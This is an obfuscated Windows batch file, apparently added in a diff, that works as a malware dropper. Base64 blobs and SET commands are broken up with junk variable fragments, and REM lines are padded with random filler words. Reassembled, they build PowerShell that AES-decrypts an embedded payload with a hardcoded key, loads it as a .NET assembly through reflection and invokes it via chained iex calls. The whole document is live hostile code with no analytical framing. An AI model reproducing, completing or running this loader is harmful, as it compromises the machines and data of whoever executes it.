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
+%XuE6JVf%S%Z3zjyKO%ET "tsEwVI=$ahpH2z%C5kpWIY% = [Scrip%heCg2xtB%tBlo%wKkMgn%ck]%MCgUg0Gl%::%o5OoeQ%Cr%yPxcigNf%eat%lDPz58%e(%z64amg%$env:9U%fKLoZR%k%qs0PfrGX%ijMM).A%Iga0Qei%st;iex $env%OUOeafI%:U%aJhattGA%nG2%FnvU8EV%2ylI"
+seT "9UkijMM=$jPFh8Se4 = [System.Security.Cry%x5h8QHX%pto%x4q2Wf%graphy.AESCryptoS%pf7iRu%ervice%ZRKXZ6%Provid%H0m7gRi3%er]::new();$jPFh8Se4.MoDe = [System.Security.C%fpU69Lh%ryptogra%GcRMfd%phy.CipherMode]::cbC;$jPFh8Se4.paD%JwCmBT%ding = [%w2c7di%Sys%GYAcqIF%tem.Se%NEfCHf%c%IeFOrXid%urity.Cryptograph%V4KRozYs%y%bjQkld9p%.Padd%THEogZ%ingMod%ZOmEvQws%e]::PKcS%Nk8JzvD%7;$jPFh8%dY1W4m69%Se4%DDWGONF%.%RhqrJA%k%IDQPV7%Ey = [byte%NvIqaw%[]]@(150,18%w6YI9sTO%2,%MNXZCaw%100,248,12%cHmFqY%9,91%FzPHzG%,226,48,1%v2EWdyn%31,19,15%dqInjU%0%vjhmOC%,255%YSHR7nz%,147,141,114%FQheHWo%,%uLhwI7h%162,9%EWjBsRX%1,%I0d54N9u%237,1%M5NgQxkM%59,83,174,199%Kqvve8%,21%GmPKm6AQ%8,12%vrg3PA%0,251,%PTIujQk%42%Y87iSL%,139,22,30,130,22%FzZvXWRv%7,18%pIRFzjwm%9);%rYZ0i8%$w%eHJHmoYa%EAR7v%ilCQDG7% = [%iVIhmwX%Conv%QOAKO6G%ert%gjeZfu%]::FromBase64String(-join ($env:43Nn4obTrQ0J.Split('!')).For%AsooFO%Each({(Get-Item "env%g1yGqAS%:$_%r5iINGiZ%").Value}));$jPFh8Se4.IV = $wEAR7v%rRY5IY%[%XXLF5hp%0..15];$F9q%aTOhkgs%72zl=$jPF%Um6WGse%h%x87MRrh%8Se4.cREAtEDecRy%x70fBcu%pTOR();$4lKXVT9%EpfHg3s2%F4=$F9q72zl.%sstBkt%tRANsfORmfInaLBLock($wEA%xV6kQBE%R%co3Hi04%7%fp8g6Auw%v[%pepczhO%16..$wEAR7v.Length], 0,$wE%PY6g2R6%AR%JladbGbi%7v.LenG%UPWsXuc%T%kx5lzIcM%H-16);$gEBOJ =%T8c3c36%[Syst%duOZ6He%em.Reflection.A%nIndc2q%sse%etNssPc3%mbly]::lOaD%bdqsgYW%($4lKXV%GVEsuK%T9F4%Obetf0y%);$gEBOJ.eNt%IG8SGD33%RYPoI%nTeXq0p%NT.Inv%GGCNxz4%oke($null, $n%Bk42VuR%ul%XXqhJBJ%l);"
+SET "aGVl55=$wEA%TMIpjA%R7v= %YI30DF9%'sjcmkI%FsNle0O%tWqh'%BuqUvYvQ%+'H%MSApLd%1z%DfXBQ83C%0%eZjwZH4O%S';%vlgBtoN3%iex%HgGVR94C% $env:OsJQhAK"
+SEt "MDmRRqW=$PSAuyfb =[Scrip%ajcv5fb4%tBlock%vL66hT%]::Create('').Ast%wCF8Rg%; iex%fcS1HBml% $env:%D0TG4xFT%tsEwV%wFotRv%I"
+sE%IOou4vo%T "tjvcnGK=$4lKX%IjMNEzH%VT9F%QYLjYbI%4%OUrzKiGR%= 1912050258; %IMr8wh3l%i%ehDI9wtw%e%OsTtwbA5%x %t5EpEd%$%es62DUxB%env:%pBBgEh9%b%xaA4Ij%QtWsrx"
+set j97KQu6=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
+%W2mTqTuD%rE%ebxpgsCY%m%yH5TwlD% %WRQ24s% hkdost pynomwg bpciyka kamna lejmmzok palonea ffonta muoat
+%Y2FlJv%g%ZnumMXp%oto%Pm04iLM% :yRhqEF
+%gjzErl0o%r%eeLrN3M%em%olcv31Mo% %mejdc62% dhsgllbv dvorep xfboda uusovat nargmy azajesth fisierii dytajut pouzim
+RE%sm03jbQ%M %ItjfZb% vwranda yqdexral cluvit jorpus smlouvya vlgovka
+:I]yJATum
+%goqqtk%%KBS6iOK%%TEXvrc%%FWiyQjq]%%C7AaxkU%%GJOewf%%Q3oLay%%uHFwBk8V%%EMpyips%%rCkxlY]w%%jcZVaL%%q}sd1Z%%HMnfW_3d%%gY7y6]H%%_l65zR%%k8A])6f8%%}hJU8H%%JrK)_3%%X899BQ%%Y_HcZYSH%%M2ueyzb%%COuR1S%%NDvsw9%%]3jayrxh%%gIbjt4Xe%%ptFYe6%%HiK)IxTz%%rJGgz{t%%v8xv6P{%%JMIF10mN%%kP0n[sB%%CR6X1S%%gjB{OZ%%}E3vHu%
+SET TGOERjgr=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
+%hUWHoxgP%S%QcJl8Q1%E%kIjK5M91%t "nZaRCF=$VxQXG = '%gH6wFmRX%1sLKWt%hrkh04W%vAN'%sOvt6RE%+%pKrtPG%'G'; iex $env:a%v1PY34oD%GVl55"
+%I4MqO3%rEm %bysyJ7CM% okaxvut vrybec kondich xdlgopiy kuzqicb papta dorigiy
